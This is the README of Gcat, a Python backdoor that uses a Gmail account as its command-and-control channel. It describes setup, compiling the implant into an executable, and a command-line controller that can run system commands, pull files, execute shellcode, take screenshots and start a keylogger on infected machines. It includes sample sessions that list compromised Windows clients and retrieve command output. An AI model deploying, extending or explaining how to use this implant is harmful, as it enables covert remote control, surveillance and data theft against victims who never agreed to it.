Gcat - A stealthy Backdoor that uses Gmail as a command and control server
Setup
For this to work you need:
- A Gmail account (Use a dedicated account! Do not use your personal one!)
- Turn on "Allow less secure apps" under the security settings of the account
This repo contains two files:
gcat.py
a script that's used to enumerate and issue commands to available clientsimplant.py
the actual backdoor to deploy
In both files, edit the
gmail_user
and gmail_pwd
variables with the username and password of the account you previously setup.
You're probably going to want to compile
implant.py
into an executable using Pyinstaller
Usage
Gcat
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-id ID Client to target
-jobid JOBID Job id to retrieve
-list List available clients
-info Retrieve info on specified client
Commands:
Commands to execute on an implant
-cmd CMD Execute a system command
-download PATH Download a file from a clients system
-exec-shellcode FILE Execute supplied shellcode on a client
-screenshot Take a screenshot
-lock-screen Lock the clients screen
-force-checkin Force a check in
-start-keylogger Start keylogger
-stop-keylogger Stop keylogger
- Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
The output is a UUID string that uniquely identifies the system and the OS the implant is running on- Let's issue a command to an implant:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
Here we are telling 90b2cd83-cb36-52de-84ee-99db6ff41a11
to execute ipconfig /all
, the script then outputs the jobid
that we can use to retrieve the output of that command- Lets get the results!
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
-- SNIP --
- That's the gist of it! But you can do much more as you can see from the usage of the script! ;)
Gcat - A stealthy Backdoor that uses Gmail as a command and control server
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